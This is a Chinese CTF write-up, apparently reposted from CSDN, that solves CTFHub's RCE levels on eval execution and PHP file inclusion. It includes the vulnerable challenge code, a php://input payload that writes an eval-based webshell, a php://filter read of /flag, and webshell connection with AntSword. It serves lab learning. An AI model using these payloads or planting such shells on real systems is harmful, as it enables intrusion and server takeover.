返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >CTFHUB——RCE之eval执行和文件包含漏洞
  • 580
分享到

CTFHUB——RCE之eval执行和文件包含漏洞

php安全linuxweb安全命令执行 2023-09-10 13:09:49 580人浏览 独家记忆
摘要

CTFHUB——RCE之eval执行和文件包含漏洞 eval执行文件包含php://input远程包含读取源代码 eval执行 本关代码如图所示 代码解释为如果存在cmd参数,那就

CTFHUB——RCE之eval执行和文件包含漏洞

eval执行

本关代码如图所示
在这里插入图片描述

 <?PHPif (isset($_REQUEST['cmd'])) {    eval($_REQUEST["cmd"]);} else {    highlight_file(__FILE__);}?> 

代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。
通过ls命令查看当前目录文件,只有一个index.php文件
在这里插入图片描述
所以通过ls /命令查看所有目录
在这里插入图片描述
成功发现flag文件,通过cat命令进行查看
在这里插入图片描述

文件包含

学习本关时,如果对文件包含漏洞不是很了解,可以查看我的这篇文章,里面详细讲解了文件包含漏洞。
文件包含漏洞全面详解
进入本关后代码如图所示。
在这里插入图片描述

<?phperror_reporting(0);if (isset($_GET['file'])) {    if (!strpos($_GET["file"], "flag")) {        include $_GET["file"];    } else {        echo "Hacker!!!";    }} else {    highlight_file(__FILE__);}?><hr>i have a <a href="shell.txt">shell</a>, how to use it ?

这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET[“file”]
否则就输出Hacker。

通过下方的英文得知,本关存在一个shell.txt,点击蓝色的shell,就会跳转到shell.txt界面
在这里插入图片描述
发现里面写的是常见的一句话木马文件,因为这里存在include函数,所以这里我们有两种获取flag的方法。

方法1:直接通过post发包进行命令执行
将ctfhub传的参数用php执行

在这里插入图片描述
成功获取当前目录
接下来步骤就和上一关一样,只不过将命令通过post传参进行命令执行。

查看当前所有目录,发现flag文件
在这里插入图片描述
通过cat命令查看flag文件
在这里插入图片描述
方法2:通过WEBshell工具直接连接shell.txt文件
这里我通过蚁剑直接连接shell.txt文件
在这里插入图片描述
注意:连接前记得把本地代理关闭,要不可能无法正常连接。
添加后改成进入后台。
在这里插入图片描述
右键打开终端命令
在这里插入图片描述
进入终端后,输入命令和之前命令一样,成功获取flag
在这里插入图片描述

php://input

进入本关后代码如图所示
在这里插入图片描述

<?phpif (isset($_GET['file'])) {    if ( substr($_GET["file"], 0, 6) === "php://" ) {        include($_GET["file"]);    } else {        echo "Hacker!!!";    }} else {    highlight_file(__FILE__);}?><hr>i don't have shell, how to get flag? <br><a href="phpinfo.php">phpinfo</a>

代码意思为:通过使用substr函数对file参数的前5个字符进行判断,如果等于php://才会执行include函数。

所以本关要求我们使用伪协议,我们可以通过伪协议php://input进行执行php代码。还是有两种方法可以获取flag。

方法1:直接在浏览器上通过post参数进行命令执行。
查询当前目录
在这里插入图片描述
查询所有目录,发现flag文件
在这里插入图片描述
通过cat命令获取flag
在这里插入图片描述
方法2:可以通过php://input伪协议写入一句话木马,然后通过蚁剑连接获取flag。
写入代码如下,建议用burpsuit抓包通过repeater模块进行写入,这样可以更直观的知道一句话木马是否写入成功。

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>

在这里插入图片描述
通过蚁剑进行连接
在这里插入图片描述
连接成功后,其余步骤与上一关相同。进入终端输入命令查询flag。
在这里插入图片描述
在这里插入图片描述

远程包含

进入本关后代码如下
在这里插入图片描述

<?phperror_reporting(0);if (isset($_GET['file'])) {    if (!strpos($_GET["file"], "flag")) {        include $_GET["file"];    } else {        echo "Hacker!!!";    }} else {    highlight_file(__FILE__);}?><hr>i don't have shell, how to get flag?<br><a href="phpinfo.php">phpinfo</a>

代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。

flag如下
在这里插入图片描述

读取源代码

本关代码如下:
在这里插入图片描述

<?phperror_reporting(E_ALL);if (isset($_GET['file'])) {    if ( substr($_GET["file"], 0, 6) === "php://" ) {        include($_GET["file"]);    } else {        echo "Hacker!!!";    }} else {    highlight_file(__FILE__);}?><hr>i don't have shell, how to get flag? <br>flag in <code>/flag</code>

代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。

本关题目为读取源代码,所以本关我们需要使用php伪协议中的filter读取源代码。
payload为:

php://filter/convert.base64-encode/resource=/flag

成功获取到flag的base64编码
在这里插入图片描述
解码后成功获取flag
在这里插入图片描述

当然本关没有什么限制,如果直接读取的话也是可以成功读取出flag的。
在这里插入图片描述

来源地址:https://blog.csdn.net/m0_46467017/article/details/126634136

--结束END--

本文标题: CTFHUB——RCE之eval执行和文件包含漏洞

本文链接: https://www.lsjlt.com/news/402310.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作